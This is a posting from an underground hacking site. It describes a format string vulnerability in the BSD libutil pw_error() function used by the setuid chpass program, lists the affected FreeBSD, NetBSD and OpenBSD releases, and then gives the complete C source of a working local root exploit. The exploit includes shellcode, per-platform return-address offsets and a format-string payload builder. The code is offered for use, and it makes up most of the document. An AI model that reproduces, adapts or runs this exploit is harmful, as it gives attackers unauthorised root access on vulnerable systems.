The CyberUnderground
http://cyberunderground.cjb.net

Libutil is a shared library used by almost every unix that contains code for "standard" functions used in many different unix untilities. The BSD libutil contains a format string vulnerability in the pw_error() function, used in the setuid chpass utility. 

In pw_error(), user input is passed as the only argument to a *printf() function, making it possible for an attacker to corrupt the stack. If format specifiers are deliberately inserted into the string that is passed to the function, the *printf function will reference locations deeper into the stack than it should, expecting to see variables that would normally be there. This, combined with the fact that you can write to memory with format specifiers, allows an attacker to, for example, reconstruct the return address of the function so that it points to user-supplied (in the format string) shellcode. When the function returns, it will begin executing the shellcode on the stack.

Exploitation of this vulnerability leads to local root access for the attacker.

Vulnerable versions are:
FreeBSD FreeBSD 4.0
FreeBSD FreeBSD 3.5
FreeBSD FreeBSD 3.4
FreeBSD FreeBSD 3.3
FreeBSD FreeBSD 3.2
NetBSD NetBSD 1.4.2
NetBSD NetBSD 1.4.1
NetBSD NetBSD 1.4
OpenBSD OpenBSD 2.7
OpenBSD OpenBSD 2.6
OpenBSD OpenBSD 2.5
OpenBSD OpenBSD 2.4
OpenBSD OpenBSD 2.3


Here's the xploit code:

/*
 * TESO BSD chpass exploit - caddis <caddis@dissension.net>
 *
 * greets: #!teso, #!w00w00, #hert!, #ozsecurity, #plus613
 *
 */
#include <stdio.h>

char bsd_shellcode[] =
"\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
"\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
"\x50\x51\x56\x50\xb0\x3b\xcd\x80"
"\xe8\xe5\xff\xff\xff/bin/sh";

char ptmp_shellcode[] =
"\xeb\x26\x5e\x31\xdb\x88\x5e\x07"
"\x89\x76\x12\x89\x5e\x16\x8d\x4e"
"\x12\x8d\x56\x08\x31\xc0\x52\x53"
"\xb0\x0a\xcd\x80\x53\x51\x56\x53"
"\xb0\x3b\xcd\x80\xb0\x01\xcd\x80"
"\xe8\xd5\xff\xff\xff/bin/sh!/etc/ptmp";

struct platform {
    char *name;
    unsigned short count;
    unsigned long dest_addr;
    unsigned long shell_addr;
    char *shellcode;
};

struct platform targets[9] =
{
    { "OpenBSD 2.7 i386       ", 141, 0xdfbfd25c, 0xdfbfdc32, ptmp_shellcode },
    { "OpenBSD 2.6 i386       ", 149, 0xdfbfd224, 0xdfbfdc1a, ptmp_shellcode },
    { "OpenBSD 2.5 1999/08/06 ", 161, 0xefbfd1a0, 0xefbfdbd6, ptmp_shellcode },
    { "OpenBSD 2.5 1998/05/28 ", 121, 0xefbfd2b0, 0xefbfdc6e, ptmp_shellcode },
    { "FreeBSD 4.0-RELEASE    ", 167,  0x805023c, 0xbfbffc68, bsd_shellcode  },
    { "FreeBSD 3.5-RELEASE    ", 135,  0x804fa58, 0xbfbfdcac, bsd_shellcode  },
    { "FreeBSD 3.4-RELEASE    ", 131,  0x804f988, 0xbfbfdcd0, bsd_shellcode  },
    { "NetBSD 1.4.2           ", 132, 0xbfbfd314, 0xbfbfdc36, bsd_shellcode  },
    { NULL, 0, 0, 0, NULL }
};

char jmpcode[129];
char fmt_string[1000];

char *args[] = { "chpass", NULL };
char *envs[] = { jmpcode, fmt_string, NULL };

void usage(char *name)
{
    printf("%s <TARGET>\n"
           "1 - OpenBSD 2.7 i386\n"
           "2 - OpenBSD 2.6 i386\n"
           "3 - OpenBSD 2.5 1999/08/06\n"
           "4 - OpenBSD 2.5 1998/05/28\n"
           "5 - FreeBSD 4.0-RELEASE\n"
           "6 - FreeBSD 3.5-RELEASE\n"
           "7 - FreeBSD 3.4-RELEASE\n"
           "8 - NetBSD 1.4.2\n", name);
    exit(1);
}

int main(int argc, char *argv[])
{
    char *p;
    int x, len = 0;
    struct platform *target;
    unsigned short low, high;
    unsigned long shell_addr[2], dest_addr[2];

    if (argc != 2)
        usage(argv[0]);

    x = atoi(argv[1]) - 1;
    if (x > ((sizeof(targets)-sizeof(struct platform)) / sizeof(struct platform)) - 1 || x < 0)
        usage(argv[0]);

    target = &targets[x];

    memset(jmpcode, 0x90, sizeof(jmpcode));
    strcpy(jmpcode + sizeof(jmpcode) - strlen(target->shellcode), target->shellcode);

    strcat(fmt_string, "EDITOR=");
    for (x = 0; x < target->count; x++) {
        strcat(fmt_string, "%8x");
        len += 8;
    }

    shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
    shell_addr[1] =  target->shell_addr & 0xffff;

    if (shell_addr[1] > shell_addr[0]) {
        dest_addr[0] = target->dest_addr+2;
        dest_addr[1] = target->dest_addr;
        low  = shell_addr[0] - len;
        high = shell_addr[1] - low - len;
    } else {
        dest_addr[0] = target->dest_addr;
        dest_addr[1] = target->dest_addr+2;
        low  = shell_addr[1] - len;
        high = shell_addr[0] - low - len;
    }

    *(long *)&jmpcode[1]  = 0x11111111;
    *(long *)&jmpcode[5]  = dest_addr[0];
    *(long *)&jmpcode[9]  = 0x11111111;
    *(long *)&jmpcode[13] = dest_addr[1];

    p = fmt_string + strlen(fmt_string);
    sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);

    execve("/usr/bin/chpass", args, envs);
    perror("execve");
}